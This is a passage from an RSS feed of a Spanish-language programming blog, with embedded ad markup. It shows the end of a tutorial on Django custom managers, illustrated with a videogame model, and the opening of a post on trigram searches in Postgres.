&lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;stem&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#78787e&#34;&gt;# En lugar de Videogame.objects.all()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;agregando-metodos-a-un-manager-de-django&#34;&gt;Agregando métodos a un manager de Django&lt;/h2&gt;&#xA;&lt;p&gt;Un manager personalizado nos permite agregarle nuevos métodos, que le otorgarán comportamientos únicos . ¿Cómo cuales? puedes filtrar los resultados de alguna búsqueda, limitar los resultados de acuerdo al usuario, un rango de fechas, un número de resultados, lo que tú prefieras.&lt;/p&gt;&#xA;&lt;p&gt;Mira este ejemplo a continuación, instanciamos un nuevo manager llamado &lt;em&gt;VideogameManager&lt;/em&gt;, el cual hereda de &lt;em&gt;models.Manager&lt;/em&gt;. Le agregamos un método llamado &lt;em&gt;contar_títulos&lt;/em&gt; que se encargará de contar los resultados para una determinada búsqueda, nada muy complicado, simplemente concatenamos un &lt;em&gt;filter&lt;/em&gt; con una consulta, como si se tratara de cualquier búsqueda.&lt;/p&gt;&#xA;&lt;p&gt;Ya que tenemos este nuevo manager con el método &lt;em&gt;contar_titulos&lt;/em&gt;, reemplazamos la propiedad &lt;em&gt;objects&lt;/em&gt; de nuestro modelo &lt;em&gt;Videogame&lt;/em&gt; por una instancia del manager que acabamos de crear.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameManager&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;contar_titulos&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, keyword):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(titulo__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;keyword)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;count()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#78787e&#34;&gt;#self se refiere al manager en sí mismo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;…&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      objects &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; VideogameManager() &lt;span style=&#34;color:#78787e&#34;&gt;#Renombra al manager por defecto aquí se usa objects para ser consistente&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ahora nuestro manager predeterminado, &lt;em&gt;objects&lt;/em&gt;, cuenta con un método llamado &lt;em&gt;contar_titulos&lt;/em&gt; que podemos usar como si formara parte del ORM original de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;contar_titulos(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fantasy&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;modificando-los-querysets-iniciales-del-manager&#34;&gt;Modificando los QuerySets iniciales del Manager&lt;/h2&gt;&#xA;&lt;p&gt;Un QuerySet base de un Manager devuelve todos los objetos en el sistema. Pero, ¿y si solo nos interesan ciertos datos? Imagínate que la tienda en linea tiene una base de datos de todos los videojuegos, pero, como somos unos geeks básicos, le dimos a la compañia squarenix una sección especial.&lt;/p&gt;&#xA;&lt;p&gt;Si escribimos consultas individuales personalizadas para cada queryset de esa sección quedarían algo así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;squarenix&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(titulo__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Fantasy&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;squarenix&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(descripcion__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Aventura&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;squarenix&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(genero&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RPG&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como ya sabes, lo anterior repite demasiado código, violando la máxima de DRY.&lt;/p&gt;&#xA;&lt;p&gt;Podemos reemplazar el QuerySet base, sobreescribiendo el método &lt;em&gt;Manager.get_query_set()&lt;/em&gt; para que la queryset que obtengamos por defecto haga el filtrado por el nombre de la compañia.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;# Primero, definimos una subclase para el Manager.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SquarenixManager&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_query_set&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;(SquarenixManager, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_query_set()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;squarenix&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;# Despues lo anclamos al modelo Videogame explícitamente.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      objects &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager() &lt;span style=&#34;color:#78787e&#34;&gt;# El manager predeterminado.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      squarenix_videogames &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SquarenixManager() &lt;span style=&#34;color:#78787e&#34;&gt;# Nuestro manager&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nota como ahora tenemos dos managers. Un Modelo puede definir varios manager, &lt;strong&gt;el primer manager que aparezca es el manager por omisión&lt;/strong&gt; (en el ejemplo de arriba es &lt;em&gt;objects&lt;/em&gt;), el cual será usado por Django internamente para otras características especiales.&lt;/p&gt;&#xA;&lt;p&gt;Al ejecutar el manager devolverá solo los libros que tengan como compañia Squarenix y, además, puede usar todos los métodos de QuerySet sobre él.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all() &lt;span style=&#34;color:#78787e&#34;&gt;# Devuelve todos los videojuegos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;squarenix_videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all() &lt;span style=&#34;color:#78787e&#34;&gt;# Devuelve solo los videojuegos de squarenix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;squarenix_videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(titulo__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Kingdom Hearts&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;#Devuelve los videojuegos de squarenix cuyo título contenga Kingdom Hearts&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y es todo. Ahora que sabes eso puedes crear tantos managers como quieras que te den tantas búsquedas filtradas como necesites.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres profundizar más en el tema de los managers revisa &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/db/managers/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;la documentación oficial de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Un Manager (o manejador) es la interfaz a través de la cual se proveen las operaciones de consulta o queries de la base de datos a los modelos de Django. Sí, me refiero a ese &lt;em&gt;objects&lt;/em&gt; que va después del nombre de tu modelo; &lt;em&gt;TuModelo.objects.all()&lt;/em&gt; y &lt;em&gt;Tumodelo.objects.filter()&lt;/em&gt;. Todos los modelos de Django tienen al menos un manager. Cada vez que usas el manejador de objetos (me referiré a él como manager de aquí en adelante) en una consulta a la base de datos usando el ORM de Django estás haciendo uso de su &lt;em&gt;object manager&lt;/em&gt; predeterminado. Estos managers en Django pueden personalizarse para modificar los objetos que devuelve una consulta y podemos personalizarlos a nuestro gusto.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Trigramas y búsquedas avanzadas con Django y Postgres</title>
      <link>https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/</link>
      <pubDate>Mon, 17 May 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Qué pasa si el dedo de un usuario resbala por el teclado y escribe &amp;ldquo;parfume&amp;rdquo; en lugar de &amp;ldquo;perfume&amp;rdquo;. Probablemente no querramos que nuestro usuario abandone el sitio porque no encontró ningún &amp;ldquo;parfume&amp;rdquo; en nuestro sitio web. Nuestro sitio web debería de devolverle los resultados que más se parezcan a lo que está buscando. Mira como lo maneja un ecommerce con experiencia:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Búsqueda de la palabra &amp;#34;parfume&amp;#34; en amazon.&#34; width=&#34;772&#34; height=&#34;436&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;¿No recuerdas las búsquedas básicas en Django? Tengo una entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/full-text-search-y-busquedas-con-django-y-postgres/&#34;&gt;búsquedas básicas y full text search usando Django y Postgres&lt;/a&gt;&#xA;, si no la has leído date una vuelta primero por allá.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CYCWN7yt9A8&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      